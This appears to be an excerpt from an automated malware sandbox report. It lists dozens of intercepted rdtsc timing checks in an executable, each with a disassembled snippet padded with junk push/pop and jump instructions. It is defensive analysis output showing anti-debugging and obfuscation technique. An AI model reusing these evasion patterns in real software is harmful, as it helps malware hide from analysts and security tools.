Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70BC28 second address: 70BC2E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70BE06 second address: 70BE0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CF53 second address: 70CF5D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FA430E679E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 70CF5D second address: 70CF61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713BA1 second address: 713BA7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 713BA7 second address: 713BAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 716BAE second address: 716BB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B0AF second address: 71B0CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E321h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ecx 0x0000000c jnl 00007FA43130E31Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B1B5 second address: 71B1DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push edx 0x0000000b jmp 00007FA430E679F6h 0x00000010 pop edx 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71B1DE second address: 71B1E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E7DF second address: 71E7FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA430E679F9h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E7FE second address: 71E804 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E804 second address: 71E80D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E80D second address: 71E823 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jg 00007FA43130E316h 0x00000010 jbe 00007FA43130E316h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E823 second address: 71E827 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 71E827 second address: 71E82D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722887 second address: 722899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA430E679E6h 0x0000000a jno 00007FA430E679E6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722899 second address: 7228B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007FA43130E318h 0x0000000b pushad 0x0000000c popad 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jl 00007FA43130E322h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7228B1 second address: 7228C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FA430E679E6h 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7228C2 second address: 7228C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722BB2 second address: 722BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007FA430E679E6h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722EDE second address: 722F0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA43130E31Fh 0x00000009 popad 0x0000000a jbe 00007FA43130E32Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722F0E second address: 722F2C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA430E679F8h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 722F2C second address: 722F45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA43130E325h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7232EE second address: 723306 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA430E679EEh 0x00000008 push eax 0x00000009 push edx 0x0000000a jp 00007FA430E679E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 723459 second address: 72345F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72345F second address: 7234AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007FA430E679EDh 0x0000000f pop eax 0x00000010 jc 00007FA430E679ECh 0x00000016 jc 00007FA430E679E6h 0x0000001c jmp 00007FA430E679F1h 0x00000021 pushad 0x00000022 jmp 00007FA430E679ECh 0x00000027 jp 00007FA430E679E6h 0x0000002d pushad 0x0000002e popad 0x0000002f push eax 0x00000030 push edx 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7288AC second address: 7288BE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E31Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7276A0 second address: 7276A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7276A4 second address: 7276AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7276AF second address: 7276B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F24E2 second address: 6F2552 instructions: 0x00000000 rdtsc 0x00000002 je 00007FA43130E316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007FA43130E326h 0x00000012 lea eax, dword ptr [ebp+12484244h] 0x00000018 mov dword ptr [ebp+122D1851h], ecx 0x0000001e nop 0x0000001f jmp 00007FA43130E326h 0x00000024 push eax 0x00000025 pushad 0x00000026 jmp 00007FA43130E328h 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FA43130E31Eh 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F263B second address: 6F2641 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2641 second address: 6F2647 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2B1A second address: 6F2B20 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2B20 second address: 6F2BB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E323h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor dword ptr [esp], 6233E3A3h 0x00000010 sub dh, 00000042h 0x00000013 call 00007FA43130E319h 0x00000018 jmp 00007FA43130E31Eh 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 jmp 00007FA43130E326h 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 pop edx 0x00000029 mov eax, dword ptr [esp+04h] 0x0000002d pushad 0x0000002e jmp 00007FA43130E323h 0x00000033 jmp 00007FA43130E31Fh 0x00000038 popad 0x00000039 mov eax, dword ptr [eax] 0x0000003b push edi 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007FA43130E322h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F2BB4 second address: 6F2BE1 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA430E679E6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f pushad 0x00000010 jnl 00007FA430E679E8h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FA430E679F3h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F34CA second address: 6F34F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FA43130E316h 0x0000000a popad 0x0000000b jp 00007FA43130E326h 0x00000011 popad 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 js 00007FA43130E316h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6F34F7 second address: 6F3513 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA430E679F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6DBCB7 second address: 6DBD02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jns 00007FA43130E316h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007FA43130E326h 0x00000012 jmp 00007FA43130E31Eh 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FA43130E327h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727987 second address: 7279A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA430E679F7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7279A2 second address: 7279DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a je 00007FA43130E316h 0x00000010 jmp 00007FA43130E320h 0x00000015 push edi 0x00000016 pop edi 0x00000017 pushad 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007FA43130E322h 0x00000021 push eax 0x00000022 pop eax 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727B79 second address: 727BAF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA430E679F3h 0x00000007 jmp 00007FA430E679F7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e je 00007FA430E679ECh 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727BAF second address: 727BB8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727E7F second address: 727E99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA430E679F6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727E99 second address: 727EA3 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FA43130E31Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 727FD9 second address: 727FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B502 second address: 72B506 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72B506 second address: 72B521 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA430E679F7h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730CB3 second address: 730CCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA43130E320h 0x00000009 jc 00007FA43130E316h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F6FD second address: 72F707 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F707 second address: 72F70D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72F70D second address: 72F71D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007FA430E679E6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FAF0 second address: 72FB14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA43130E316h 0x0000000a pop esi 0x0000000b pushad 0x0000000c jmp 00007FA43130E31Fh 0x00000011 pushad 0x00000012 popad 0x00000013 jnc 00007FA43130E316h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FB14 second address: 72FB2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA430E679F5h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FB2F second address: 72FB33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FC5B second address: 72FC5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FDE3 second address: 72FDFD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E326h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FDFD second address: 72FE0D instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA430E679F2h 0x00000008 ja 00007FA430E679E6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FE0D second address: 72FE2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FA43130E322h 0x0000000b jg 00007FA43130E316h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FE2B second address: 72FE2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FE2F second address: 72FE3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FE3F second address: 72FE43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FE43 second address: 72FE51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jp 00007FA43130E316h 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73014D second address: 730153 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 734349 second address: 73434D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73434D second address: 73435C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edi 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73435C second address: 734362 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7391EE second address: 73920A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA430E679F1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7394BA second address: 7394BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7394BE second address: 7394DD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA430E679EDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007FA430E679EAh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7394DD second address: 7394E6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738EC6 second address: 738ECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738ECA second address: 738EDC instructions: 0x00000000 rdtsc 0x00000002 ja 00007FA43130E316h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c js 00007FA43130E316h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738EDC second address: 738EE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CA99 second address: 73CA9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CA9D second address: 73CAA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CAA1 second address: 73CAAB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CAAB second address: 73CAAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CAAF second address: 73CAC5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA43130E31Bh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CAC5 second address: 73CACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CC46 second address: 73CC4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CC4E second address: 73CC69 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jnp 00007FA430E679E6h 0x0000000c pushad 0x0000000d popad 0x0000000e jns 00007FA430E679E6h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CC69 second address: 73CC6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CC6D second address: 73CC8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA430E679F5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CDC0 second address: 73CDE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FA43130E326h 0x0000000b ja 00007FA43130E316h 0x00000011 popad 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CDE6 second address: 73CE05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jng 00007FA430E679E6h 0x00000010 jng 00007FA430E679E6h 0x00000016 popad 0x00000017 popad 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c popad 0x0000001d push ebx 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CE05 second address: 73CE1A instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA43130E316h 0x00000008 jnc 00007FA43130E316h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CF9B second address: 73CFAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA430E679EDh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CFAC second address: 73CFB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73CFB0 second address: 73CFBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007FA430E679E6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F6FD second address: 73F703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F703 second address: 73F708 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745E9C second address: 745EAA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jo 00007FA43130E316h 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 744C01 second address: 744C0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 745B53 second address: 745B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
